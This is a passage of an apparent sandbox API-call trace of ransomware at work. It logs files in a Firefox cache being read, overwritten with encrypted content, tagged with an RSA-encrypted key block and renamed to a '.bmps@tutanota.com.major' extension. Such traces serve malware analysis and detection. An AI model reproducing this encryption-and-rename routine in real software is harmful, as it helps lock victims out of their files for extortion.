hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9auGp4m4q7T/GaHtfdrmSzsU0n9wBTQUFqcQfC4+92MXMJqji9iCqSIaBrf/km3d\nqxZC/IsfrRvM53ZpbuHBxuVYYGDmRrV66MrcAnChiU2bhamw6L4yM6Tj5LJ/8S9f\n1QGVjMrxNj+bA0mpi4j+GPU141R7tY0Jfl+vamsWCBgciEjIXz4aP/qwuLuqUtAs\nbxZ4q0aIt8wdhOR6mkA4fZ4ByDMh57Roc83qfDzQohmKDw5Q+ZTz4JcfCBfxNETH\nEbW90iltkSPOph62pXU5Ur6cFKi0IIWydC/MfROzcRreJujYl0eSLpliKtkXxJvH\n8YwizrslOwtdXOqwewDOBg==\n", pcchString=0x2e3f9a8) returned 1 [0265.448] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.448] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.449] CloseHandle (hObject=0x1b84) returned 1 [0265.449] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7312A4BC2416B43197DAB1517D4F71DDE4DDB5C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7312a4bc2416b43197dab1517d4f71dde4ddb5c1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7312A4BC2416B43197DAB1517D4F71DDE4DDB5C1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7312a4bc2416b43197dab1517d4f71dde4ddb5c1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.451] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.451] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\730732921FB223938F8FC50951AF7C51CCEA61B0", dwFileAttributes=0x80) returned 1 [0265.451] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0xc302, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xc302, lpOverlapped=0x0) returned 1 [0265.498] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-49922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.498] WriteFile (in: hFile=0x1b84, lpBuffer=0x354c358*, nNumberOfBytesToWrite=0xc302, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354c358*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc302, lpOverlapped=0x0) returned 1 [0265.499] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc302 [0265.499] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.499] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.499] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.499] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.499] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.500] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YlOzpSM5um9l7Phk+4p0P5rf/eQ2rXxCxq2msTTRMgqys24gtZLHcOmb0vkDh9ds\nVCBOSKGKxQys0aE7cxex3STG33XO1GhWYn+J4uHQOPUqqyxBgBjQWhMb6VVoJkTt\nfQTcm7sNJbgeKnuCj6X8AqXOqnzT0E/Nqa20Ncb9Bvoqax8fDs1TaEuvpmPDKppu\nmZF+XbsxduSJ2fT/SLK0ge0BKaVPvq1dNuglWfj19KoLyR4cihjZwVpo9LxOtm+c\no9p8H18UUyO1tO59DsSND7DCnnedvSkC+W0EJMfLfgzCduMwiYrsT+lkY5Pz669v\ncrIzdQIoRl6by9ASjOcSjQ==\n", pcchString=0x2e3f9a8) returned 1 [0265.500] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.500] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.500] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.500] CloseHandle (hObject=0x1b84) returned 1 [0265.500] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\730732921FB223938F8FC50951AF7C51CCEA61B0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\730732921fb223938f8fc50951af7c51ccea61b0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\730732921FB223938F8FC50951AF7C51CCEA61B0.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\730732921fb223938f8fc50951af7c51ccea61b0.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.502] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.502] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\71C7F05A4972DA343C7410BEC996469B4D9B1EC1", dwFileAttributes=0x80) returned 1 [0265.502] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0265.727] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.727] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0265.728] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef4 [0265.728] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.728] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.729] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.729] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.729] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.729] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="43T00syR1hM8RpiV2wkTpRNDZf/4Si9AYfpGmBhMDc+R21WIUBlpEBUSFBIMrTmZ\nIjxvo8h9wq6U1Bze5vsTbpy5ZIS5wYQk+t7m3lSk724+/oppLFlHGPNV5TaRmR70\n4iTnvUBG7nOMPGsUbZ/8DoJTyA7goIzEzA+lbV3rh+vbzKo3/GQUsfjvgkkyEX0e\neYF1Ybfg01Vam/SBKV/aoVCBGmmgSqRzTccbgGwDLgfLVp8ECXhBtSuMxxoLfPmd\naJD0q8UGWDJxLXcQneicgPivnLSltTvuVf4BCSvVXhteyBWoEQ27jbvhc5Vjlj7B\nyjRC9loog9rxjuGWzf91BA==\n", pcchString=0x2e3f9a8) returned 1 [0265.729] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.729] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.729] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.730] CloseHandle (hObject=0x1b84) returned 1 [0265.730] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\71C7F05A4972DA343C7410BEC996469B4D9B1EC1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\71c7f05a4972da343c7410bec996469b4d9b1ec1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\71C7F05A4972DA343C7410BEC996469B4D9B1EC1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\71c7f05a4972da343c7410bec996469b4d9b1ec1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.732] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.732] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\705E490FDB59514DC9A1DEE2B8DE64728A905979", dwFileAttributes=0x80) returned 1 [0265.732] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x7afd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x7afd, lpOverlapped=0x0) returned 1 [0265.794] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-31485, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.794] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x7afd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7afd, lpOverlapped=0x0) returned 1 [0265.794] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7afd [0265.794] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.795] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jVPjo2GM6dlnV4LAbGrQSE7gX39erLpi7w5V4Yce7NppCJOCDiUPji/jxbGk3FEd\nQEzWD3/3vftMUxoz2NTfvchlZ1OAj/c9GEyXh+9kBll7ijs2RfqNT3MXATNu8+xQ\nsd6rYRKXdOYwjWIALXJhLj7C/3yn07MvnLesZJAE7jqFRSBKNHyaegDBFhZiHvwE\nXnBI8XEcWxImV64dgL1iXav6oUfXX5ejBm3MGjZygi992zQhTMGUlTyE8Mm2WOtf\nRK+3XIFKLXMmFgYy+48FWE/V97SRX48eocGSMHJMgxTTP9Bw8QccCAUQA6IC4j3E\nh94lJgWrtjU0ek/ngQgpIA==\n", pcchString=0x2e3f9a8) returned 1 [0265.795] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.796] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.796] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.796] CloseHandle (hObject=0x1b84) returned 1 [0265.796] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\705E490FDB59514DC9A1DEE2B8DE64728A905979" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\705e490fdb59514dc9a1dee2b8de64728a905979"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\705E490FDB59514DC9A1DEE2B8DE64728A905979.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\705e490fdb59514dc9a1dee2b8de64728a905979.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.798] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.798] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6FED260138400FD12677C90F90A961644A731AAC", dwFileAttributes=0x80) returned 1 [0265.798] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0265.886] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.886] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0265.887] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0265.887] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.887] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.887] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.887] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.888] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.888] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5RNYpRkq+d78n9qgKN7dazihW/p5JyYUfEJhyb41Eu/tSyDLZoDNm/X7NkHM1g/N\n7+cvE2GwErQhrFeNoI59dtAyj/EOk2wv0wzPKXJByB6ALs6/aaUkeLWPmN00E8KP\nkHEQ8djyML98pnA8UgviZfhMU578CIFZSobeig4SpcCLi65da/Dmc9xnFHM9jd7u\nhbMnx6Xslgk69QBfKO2lcIiqqupgA87xtQe/sMvQGATP+hbiOpB5wpCWtQTh1fMj\nJfWfb5DPtbZwSsGx1yywIcO7tiGQQ17PsEiu6t6VIEaBqv1JmKPJ70z4ppuN+fVd\ncNASOtXltwgPlUJBTDD8YQ==\n", pcchString=0x2e3f9a8) returned 1 [0265.888] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.888] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.888] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.888] CloseHandle (hObject=0x1b84) returned 1 [0265.888] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6FED260138400FD12677C90F90A961644A731AAC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6fed260138400fd12677c90f90a961644a731aac"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6FED260138400FD12677C90F90A961644A731AAC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6fed260138400fd12677c90f90a961644a731aac.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.937] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.938] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F8476F0E7F6646593363B49CE1F1A061176132D", dwFileAttributes=0x80) returned 1 [0265.938] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0265.988] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.988] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0265.989] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0265.989] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.989] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.989] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.989] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.989] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.989] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mCMO7xhJMSL9HIaNoWDpsapDDnJslabdemnfqK5oXrVG4+atq7Hm08g0ezIus5T7\nqRiKxPRvagvTzOEy5ArFSzJpwP+UkOt2M58j0otGn+6y4ZdfBIbM1CR6x94Vl0mB\nYujDbNALDhh8526a84dQinxhg8N6fqNO16TZEzpS/wVTOR/pNvXI+bVSruPsz8MG\nz1jZoZiW6rW6CR4l7tXibR8HO8XEK/NXJugiRnVmln6sktlCvtHbSb4aPSm5faeC\nY8OLcLn963irx6srhKz0IZhvi1AUsK0MTEVTnkvufugvzTNLkOcXqvJU7G2SmxAm\n0ZvBg2nEJJ786z95+s7VQQ==\n", pcchString=0x2e3f9a8) returned 1 [0265.989] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.989] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.990] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.990] CloseHandle (hObject=0x1b84) returned 1 [0265.990] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F8476F0E7F6646593363B49CE1F1A061176132D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6f8476f0e7f6646593363b49ce1f1a061176132d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F8476F0E7F6646593363B49CE1F1A061176132D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6f8476f0e7f6646593363b49ce1f1a061176132d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0266.263] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0266.263] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F4FA43590A63EB51F16A747B6869FEA664D492D", dwFileAttributes=0x80) returned 1 [0266.264] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x5e5d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, 